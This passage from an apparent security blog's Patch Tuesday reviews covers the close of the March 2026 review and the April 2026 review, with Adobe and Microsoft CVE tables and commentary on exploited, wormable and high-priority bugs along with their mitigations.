CVE-2026-3540 *	Chromium: CVE-2026-3540 Inappropriate implementation in WebAudio	High	N/A	No	No	RCE
CVE-2026-3541 *	Chromium: CVE-2026-3541 Inappropriate implementation in CSS	High	N/A	No	No	RCE
CVE-2026-3542 *	Chromium: CVE-2026-3542 Inappropriate implementation in WebAssembly	High	N/A	No	No	RCE
CVE-2026-3543 *	Chromium: CVE-2026-3543 Inappropriate implementation in V8	High	N/A	No	No	RCE
CVE-2026-3544 *	Chromium: CVE-2026-3544 Heap buffer overflow in WebCodecs	High	N/A	No	No	RCE
CVE-2026-3545 *	Chromium: CVE-2026-3545 Insufficient data validation in Navigation	High	N/A	No	No	RCE

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

Looking at the other Critical-rated bugs in this month’s release, they are all cloud-native and require no user action. Microsoft has already remediated the vulnerabilities.

Moving on to the other code execution bugs, the vulnerabilities in SharePoint Server pop out first. Both require authentication, but it’s essentially the lowest level of authentication, so these would be ideal cases for lateral movement within an enterprise. There are the standard open-and-own cases within Office components. There an interesting sounding bug in the Windows Mobile Broadband Driver that requires physical access, but Microsoft doesn’t elaborate on the attack scenario beyond that fact. The bug in the System Image Manager Assessment and Deployment Kit (ADK) requires authentication. The bug in GDI requires user interaction. The remaining code execution bugs are in the RRAS protocol. We’ve seen bugs in this component in the past, but never in the wild. I wouldn’t ignore these, but I wouldn’t rush them out either.

Similar to last month, updates for Elevation of Privilege (EoP) bugs make up nearly half of this month’s release. And as we saw last month, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. The bugs in SQL Server allow attackers to elevate to SQL sysadmin privileges. The bug in the Azure MCP Server is more complex. It allows attackers to obtain the permissions associated with the MCP Server’s managed identity, which lets them perform actions that the managed identity is able to reach. The bug in the Azure AD SSH Login extension for Linux leads to root access, and it won’t be easy to patch. You’ll need to run the update instructions from the command line on each affected system. That’s the same case for the bug in the Linux Azure Diagnostic extension (LAD). There’s an odd bug in the Hybrid Worker Extension (Arc‑enabled Windows VMs) that leads to “ELEVATED” privileges, which is something I’ve never seen before. The bug in the Broadcast DVR component allows an attacker to go from low integrity level up to medium. There’s a bug listed as an EoP in the Push message Routing Service, but reading the description, Microsoft notes it could lead to an information disclosure. It’s likely this is an error and should be an Information Disclosure bug. The final EoP is in the Azure Portal Windows Admin Center and leads to SYSTEM. However, there’s no patch to remediate this bug. Instead, you need to install the latest version of the Windows Admin Center extension through the Azure Portal by hand.

There are two security feature bypass patches in the March release. The first is a bypass of the MapURLToZone method, which (as expected) allows attackers to bypass MapURLToZone protections. The third bypass is in Kerberos and could allow an attacker to either view some sensitive information or make changes to “disclosed” information. This is a race condition that occurs while the group policy is being reapplied, so the window to exploit this would be extremely small.

Looking at the remaining info disclosure bugs getting patched this month, only two result in info leaks consisting of unspecified memory contents or memory addresses. Ther others provide more interesting results. There are three bugs in the Azure IoT Explorer have some wide-ranging implications. According to Microsoft, exploitation could result in, “device connection information, authentication tokens, request data, file paths, and other information transmitted between the application and the IoT Hub.” The bug in Authenticator almost reads like a security feature bypass, as exploit results in the disclosure of a one‑time sign‑in code or authentication deep link. The attacker would receive the sign‑in information and could potentially use it to authenticate as the user, allowing access to information or services available to that account. The last info disclosure bug is in the Accessibility Infrastructure and allows an attacker to gain secrets or privileged information belonging to the user of the affected application.

There are only four spoofing bugs in the March release. The first is in SharePoint server and manifests as an XSS. The second bug is a Server-Side Request Forgery (SSRF) in the Azure IoT Explorer. The remaining two are a bit more cryptic. The bug in Windows Shell Link Processing results from the “exposure of sensitive information to an unauthorized actor,” and could lead to spoofing. That sounds like credential exposure, but it’s not explicitly called out. The final spoofing bug results from the insufficient verification of data authenticity in Windows App Installer. Again, this sounds vaguely like credential reflection, but without further information, we can only speculate.

Finally, there are four denial-of-service (DoS) bugs in the release, including one that’s listed as publicly known in the .NET Framework. As usual, Microsoft provides no actionable information about these bugs.

No new advisories are being released this month.

Looking Ahead

I plan on being at RSA for the first time in my career, so if you’re around, please stop by and say hello. I like it when people say hello. Otherwise, I’ll be back on April 14 with my assessment of that patch Tuesday release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

The April 2026 Security Update Review

Sat, 25 Jul 2026 19:00:42 +0200

It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for April 2026

For April, Adobe released 12 bulletins addressing 61 unique CVEs in Adobe Acrobat Reader, InDesign, InCopy, FrameMaker, Connect, ColdFusion, Bridge, Photoshop, Illustrator, Experience Manager Screens, and the Adobe DNG SDK. Three of the Cold Fusion bugs came through the TrendAI ZDI program. For this month, I’m introducing an Adobe table as well. I’d love to get your feedback on whether this is helpful.

Bulletin ID	Product	CVE Count	Highest Severity	Highest CVSS	Exploited	Deployment Priority
APSB26-43	Adobe Acrobat Reader	1	Critical	8.6	Yes	1
APSB26-44	Adobe Acrobat Reader	2	Critical	8.6	No	2
APSB26-32	Adobe InDesign	9	Critical	7.8	No	3
APSB26-33	Adobe InCopy	2	Critical	7.8	No	3
APSB26-36	Adobe FrameMaker	11	Critical	8.6	No	3
APSB26-37	Adobe Connect	9	Critical	9.6	No	3
APSB26-38	Adobe ColdFusion	7	Critical	9.3	No	1
APSB26-39	Adobe Bridge	6	Critical	7.8	No	3
APSB26-40	Adobe Photoshop	1	Critical	7.8	No	3
APSB26-42	Adobe Illustrator	1	Critical	7.8	No	3
APSB26-34	Adobe Experience Manager Screens	9	Important	5.4	No	3
APSB26-41	Adobe DNG SDK	3	Important	5.5	No	3

Obviously, the active attack in Reader is the highest priority for this month, but don’t ignore the second bunch of Reader patches. Cold Fusion also gets a deployment priority of 1, so if you’re still running that platform, make sure you get the update. Otherwise, the FrameMaker and Connect patches fix 11 and nine bugs, respectively. InDesign and Experience Manager Screens also have nine CVEs addressed.

Outside of the Reader bug, none of the other bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release. One of the Reader bugs and Cold Fusion have a deployment priority of one, the other Reader bug has a priority of two, while all of the other updates released by Adobe this month are listed as deployment priority 3.

Microsoft Patches for April 2026

This month, Microsoft released a monstrous 163 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, SQL Server, Hyper-V Server, BitLocker, and the Windows Wallet Service. Counting the third-party and a huge Chromium release, it brings the total number of CVEs to a staggering 247 updates. Six of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, two are rated as Moderate, and the rest are rated Important in severity.

By my count, this is the second-largest monthly release in Microsoft’s history. There are many things we could speculate on to justify the size, but if Microsoft is like the other programs out there (including ours), they are likely seeing a rise in submissions found by AI tools. For us, our incoming rate has essentially tripled, making triage a challenge, to say the least. Whatever the reason, we have a lot of bugs to deal with this month. I should also point out that the Pwn2Own Berlin occurs next month, and it’s typical for vendors to patch as much as they can before the event.

There is one Microsoft bug listed as under active attack at the time of release, and one other that’s publicly known. Let’s take a closer look at some of the more interesting updates for this month, starting with the vulnerability being exploited in the wild:

- CVE-2026-32201 - Microsoft SharePoint Server Spoofing Vulnerability
Microsoft doesn’t provide a lot of information about this bug, but Spoofing bugs in SharePoint often manifest as cross-site scripting (XSS) bugs. They do note that attackers could view information or make changes to disclosed information. As always, they don’t provide any information on how widespread these attacks are, but I wouldn’t wait to test and deploy this fix – especially if you have internet-connected SharePoint servers.

- CVE-2026-33825 - Microsoft Defender Elevation of Privilege Vulnerability
This bug is listed as publicly known, and this time, we know exactly where it was disclosed. There have been some questions about how exploitable this bug may be, but it does look like it’s a real problem – just with some reliability issues in its current state. I won’t add on to the commentary from the researcher about working with Microsoft. I’m just glad they are offering a fix for the vulnerability. If you rely on Defender, test and deploy this one quickly.

- CVE-2026-33827 - Windows TCP/IP Remote Code Execution Vulnerability
This vulnerability allows remote, unauthenticated attackers to exploit code on affected systems without user interaction. That adds up to a wormable bug – at least on systems with IPv6 and IPSec enabled. It is a race condition, which sets exploitability to High on the CVSS scale, but we see race conditions exploited at Pwn2Own all the time, so don’t rely on that obstacle. If you’re running IPv6, I would test and deploy this fix quickly before public exploits become available.

- CVE-2026-33824 - Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability
Speaking of wormable bugs, here’s our second one this month. By the title, we can tell that systems with IKE enabled are affected, but that leaves plenty of targets for attackers. Microsoft also notes a significant mitigation for this bug. Blocking UDP ports 500 and 4500 at the perimeter prevents external attackers from reaching the affected service. However, insiders could still target this for lateral movement within an enterprise. For enterprises using IKE, get this fix tested and deployed with haste.

Here’s the full list of CVEs released by Microsoft for April 2026:

April 2026 Patch Tuesday

CVE	Title	Severity	CVSS	Public	Exploited	Type
CVE-2026-32201	Microsoft SharePoint Server Spoofing Vulnerability	Important	6.5	No	Yes	Spoofing
CVE-2026-5281 *	Chromium: CVE-2026-5281 Use after free in Dawn	High	N/A	No	Yes	RCE
CVE-2026-33825	Microsoft Defender Elevation of Privilege Vulnerability	Important	7.8	Yes	No	EoP
CVE-2026-23666	.NET Framework Denial of Service Vulnerability	Critical	7.5	No	No	DoS
CVE-2026-32190	Microsoft Office Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-33114	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-33115	Microsoft Word Remote Code Execution Vulnerability	Critical	8.4	No	No	RCE
CVE-2026-32157	Remote Desktop Client Remote Code Execution Vulnerability	Critical	8.8	No	No	RCE
CVE-2026-33826	Windows Active Directory Remote Code Execution Vulnerability	Critical	8	No	No	RCE
CVE-2026-33824	Windows Internet Key Exchange (IKE) Service Extensions Remote Code Execution Vulnerability	Critical	9.8	No	No	RCE
CVE-2026-33827	Windows TCP/IP Remote Code Execution Vulnerability	Critical	8.1	No	No	RCE
CVE-2026-26171	.NET Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-32226	.NET Framework Denial of Service Vulnerability	Important	5.9	No	No	DoS
CVE-2026-32178	.NET Spoofing Vulnerability	Important	7.5	No	No	Spoofing
CVE-2026-32203	.NET and Visual Studio Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-33116	.NET, .NET Framework, and Visual Studio Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2023-20585 *	AMD: CVE-2023-20585 IOMMU Write Buffer Vulnerability	Important	5.3	No	No	RCE
CVE-2026-32072	Active Directory Spoofing Vulnerability	Important	6.2	No	No	Spoofing
CVE-2026-25184	Applocker Filter Driver (applockerfltr.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32171	Azure Logic Apps Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-32168	Azure Monitor Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32192	Azure Monitor Agent Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32181	Connected User Experiences and Telemetry Service Denial of Service Vulnerability	Important	5.5	No	No	DoS
CVE-2026-27924	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32152	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32154	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27923	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32155	Desktop Window Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23653	GitHub Copilot and Visual Studio Code Information Disclosure Vulnerability	Important	5.7	No	No	Info
CVE-2026-23653 *	GitHub: CVE-2026-32631 'git clone' from manipulated repositories can leak NTLM hashes	Important	7.4	No	No	Info
CVE-2026-33096	HTTP.sys Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-25250 *	MITRE: CVE-2026-25250 Secure Boot disable Eazy Fix	Important	6	No	No	SFB
CVE-2026-26181	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32219	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32091	Microsoft Brokering File System Elevation of Privilege Vulnerability	Important	8.4	No	No	EoP
CVE-2026-26152	Microsoft Cryptographic Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33103	Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32188	Microsoft Excel Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-32189	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32197	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32198	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32199	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32184	Microsoft High Performance Compute (HPC) Pack Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26155	Microsoft Local Security Authority Subsystem Service Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-27914	Microsoft Management Console Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26149	Microsoft Power Apps Security Feature Bypass	Important	9	No	No	SFB
CVE-2026-32200	Microsoft PowerPoint Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-26143	Microsoft PowerShell Security Feature Bypass Vulnerability	Important	7.8	No	No	SFB
CVE-2026-33120 †	Microsoft SQL Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-20945	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-33822	Microsoft Word Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-33095	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-23657	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32081	Package Catalog Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26170	PowerShell Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26183	Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26160	Remote Desktop Licensing Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26159	Remote Desktop Licensing Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26151	Remote Desktop Spoofing Vulnerability	Important	7.1	No	No	Spoofing
CVE-2026-32085	Remote Procedure Call Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32167	SQL Server Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-32176	SQL Server Elevation of Privilege Vulnerability	Important	6.7	No	No	EoP
CVE-2026-0390	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	6.7	No	No	SFB
CVE-2026-32220	UEFI Secure Boot Security Feature Bypass Vulnerability	Important	4.4	No	No	SFB
CVE-2026-32212	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32214	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32079	Web Account Manager Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-33104	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32196	Windows Admin Center Spoofing Vulnerability	Important	6.1	No	No	Spoofing
CVE-2026-26178	Windows Advanced Rasterization Platform Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-32073	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26168	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26173	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26177	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26182	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27922	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33099	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33100	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32088	Windows Biometric Service Security Feature Bypass Vulnerability	Important	6.1	No	No	SFB
CVE-2026-27913	Windows BitLocker Security Feature Bypass Vulnerability	Important	7.7	No	No	SFB
CVE-2026-26175	Windows Boot Manager Security Feature Bypass Vulnerability	Important	4.6	No	No	SFB
CVE-2026-32162	Windows COM Elevation of Privilege Vulnerability	Important	8.4	No	No	EoP
CVE-2026-20806	Windows COM Server Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26176	Windows Client Side Caching driver (csc.sys) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27926	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32070	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-33098	Windows Container Isolation FS Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26153	Windows Encrypted File System (EFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32087	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32093	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32086	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32150	Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27931	Windows GDI Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-27930	Windows GDI Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32221	Windows Graphics Component Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-27906	Windows Hello Security Feature Bypass Vulnerability	Important	4.4	No	No	SFB
CVE-2026-27928	Windows Hello Security Feature Bypass Vulnerability	Important	8.7	No	No	SFB
CVE-2026-26156	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32149	Windows Hyper-V Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-27910	Windows Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27912	Windows Kerberos Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-26179	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26180	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32195	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26163	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32215	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32217	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-32218	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-26169	Windows Kernel Memory Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-27929	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32071	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-20930	Windows Management Services Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26162	Windows OLE Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-33101	Windows Print Spooler Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32084	Windows Print Spooler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-27927	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26184	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32069	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32074	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32078	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26167	Windows Push Notifications Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-32158	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32159	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32160	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26172	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-20928	Windows Recovery Environment Security Feature Bypass Vulnerability	Important	4.6	No	No	SFB
CVE-2026-32216	Windows Redirected Drive Buffering System Denial of Service Vulnerability	Important	5.5	No	No	DoS
CVE-2026-27909	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26161	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-26174	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32224	Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26154	Windows Server Update Service (WSUS) Tampering Vulnerability	Important	7.5	No	No	Tampering
CVE-2026-26165	Windows Shell Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-26166	Windows Shell Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27918	Windows Shell Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32151	Windows Shell Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-32225	Windows Shell Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-32202	Windows Shell Spoofing Vulnerability	Important	4.3	No	No	Spoofing
CVE-2026-32082	Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32083	Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32068	Windows Simple Search and Discovery Protocol (SSDP) Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32183	Windows Snipping Tool Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-32089	Windows Speech Brokered Api Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32090	Windows Speech Brokered Api Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32153	Windows Speech Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27907	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32076	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27908	Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27921	Windows TDI Translation Driver (tdx.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27915	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27919	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32075	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-27916	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27920	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32077	Windows UPnP Device Host Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27925	Windows UPnP Device Host Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-32156	Windows UPnP Device Host Remote Code Execution Vulnerability	Important	7.4	No	No	RCE
CVE-2026-32223	Windows USB Printing Stack (usbprint.sys) Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-32165	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-27911	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32163	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-32164	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-23670	Windows Virtualization-Based Security (VBS) Security Feature Bypass Vulnerability	Important	5.7	No	No	SFB
CVE-2026-27917	Windows WFP NDIS Lightweight Filter Driver (wfplwfs.sys) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32080	Windows WalletService Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-32222	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-21637 *	HackerOne: CVE-2026-21637 TLS PSK/ALPN Callback Exceptions Bypass Error Handlers	Moderate	7.5	No	No	SFB
CVE-2026-33119	Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability	Moderate	5.4	No	No	Spoofing
CVE-2026-33829	Windows Snipping Tool Spoofing Vulnerability	Moderate	4.3	No	No	Spoofing
CVE-2026-5858 *	Chromium: CVE-2026-5858 Heap buffer overflow in WebML	Critical	N/A	No	No	RCE
CVE-2026-5859 *	Chromium: CVE-2026-5859 Integer overflow in WebML	Critical	N/A	No	No	RCE
CVE-2026-5272 *	Chromium: CVE-2026-5272 Heap buffer overflow in GPU	High	N/A	No	No	RCE
CVE-2026-5273 *	Chromium: CVE-2026-5273 Use after free in CSS	High	N/A	No	No	RCE
CVE-2026-5274 *	Chromium: CVE-2026-5274 Integer overflow in Codecs	High	N/A	No	No	RCE
CVE-2026-5275 *	Chromium: CVE-2026-5275 Heap buffer overflow in ANGLE	High	N/A	No	No	RCE
CVE-2026-5276 *	Chromium: CVE-2026-5276 Insufficient policy enforcement in WebUSB	High	N/A	No	No	SFB
CVE-2026-5277 *	Chromium: CVE-2026-5277 Integer overflow in ANGLE	High	N/A	No	No	RCE
CVE-2026-5279 *	Chromium: CVE-2026-5279 Object corruption in V8	High	N/A	No	No	RCE
CVE-2026-5280 *	Chromium: CVE-2026-5280 Use after free in WebCodecs	High	N/A	No	No	RCE
CVE-2026-5283 *	Chromium: CVE-2026-5283 Inappropriate implementation in ANGLE	High	N/A	No	No	SFB
CVE-2026-5284 *	Chromium: CVE-2026-5284 Use after free in Dawn	High	N/A	No	No	RCE
CVE-2026-5285 *	Chromium: CVE-2026-5285 Use after free in WebGL	High	N/A	No	No	RCE
CVE-2026-5286 *	Chromium: CVE-2026-5286 Use after free in Dawn	High	N/A	No	No	RCE
CVE-2026-5287 *	Chromium: CVE-2026-5287 Use after free in PDF	High	N/A	No	No	RCE
CVE-2026-5289 *	Chromium: CVE-2026-5289 Use after free in Navigation	High	N/A	No	No	RCE
CVE-2026-5290 *	Chromium: CVE-2026-5290 Use after free in Compositing	High	N/A	No	No	RCE
CVE-2026-5860 *	Chromium: CVE-2026-5860 Use after free in WebRTC	High	N/A	No	No	RCE
CVE-2026-5861 *	Chromium: CVE-2026-5861 Use after free in V8	High	N/A	No	No	RCE
CVE-2026-5862 *	Chromium: CVE-2026-5862 Inappropriate implementation in V8	High	N/A	No	No	SFB
CVE-2026-5863 *	Chromium: CVE-2026-5863 Inappropriate implementation in V8	High	N/A	No	No	SFB
CVE-2026-5864 *	Chromium: CVE-2026-5864 Heap buffer overflow in WebAudio	High	N/A	No	No	RCE
CVE-2026-5865 *	Chromium: CVE-2026-5865 Type Confusion in V8	High	N/A	No	No	RCE
CVE-2026-5866 *	Chromium: CVE-2026-5866 Use after free in Media	High	N/A	No	No	RCE
CVE-2026-5867 *	Chromium: CVE-2026-5867 Heap buffer overflow in WebML	High	N/A	No	No	RCE
CVE-2026-5868 *	Chromium: CVE-2026-5868 Heap buffer overflow in ANGLE	High	N/A	No	No	RCE
CVE-2026-5869 *	Chromium: CVE-2026-5869 Heap buffer overflow in WebML	High	N/A	No	No	RCE
CVE-2026-5870 *	Chromium: CVE-2026-5870 Integer overflow in Skia	High	N/A	No	No	RCE
CVE-2026-5871 *	Chromium: CVE-2026-5871 Type Confusion in V8	High	N/A	No	No	RCE
CVE-2026-5872 *	Chromium: CVE-2026-5872 Use after free in Blink	High	N/A	No	No	RCE
CVE-2026-5873 *	Chromium: CVE-2026-5873 Out of bounds read and write in V8	High	N/A	No	No	RCE
CVE-2026-5291 *	Chromium: CVE-2026-5291 Inappropriate implementation in WebGL	Medium	N/A	No	No	SFB
CVE-2026-5292 *	Chromium: CVE-2026-5292 Out of bounds read in WebCodecs	Medium	N/A	No	No	Info
CVE-2026-5874 *	Chromium: CVE-2026-5874 Use after free in PrivateAI	Medium	N/A	No	No	RCE
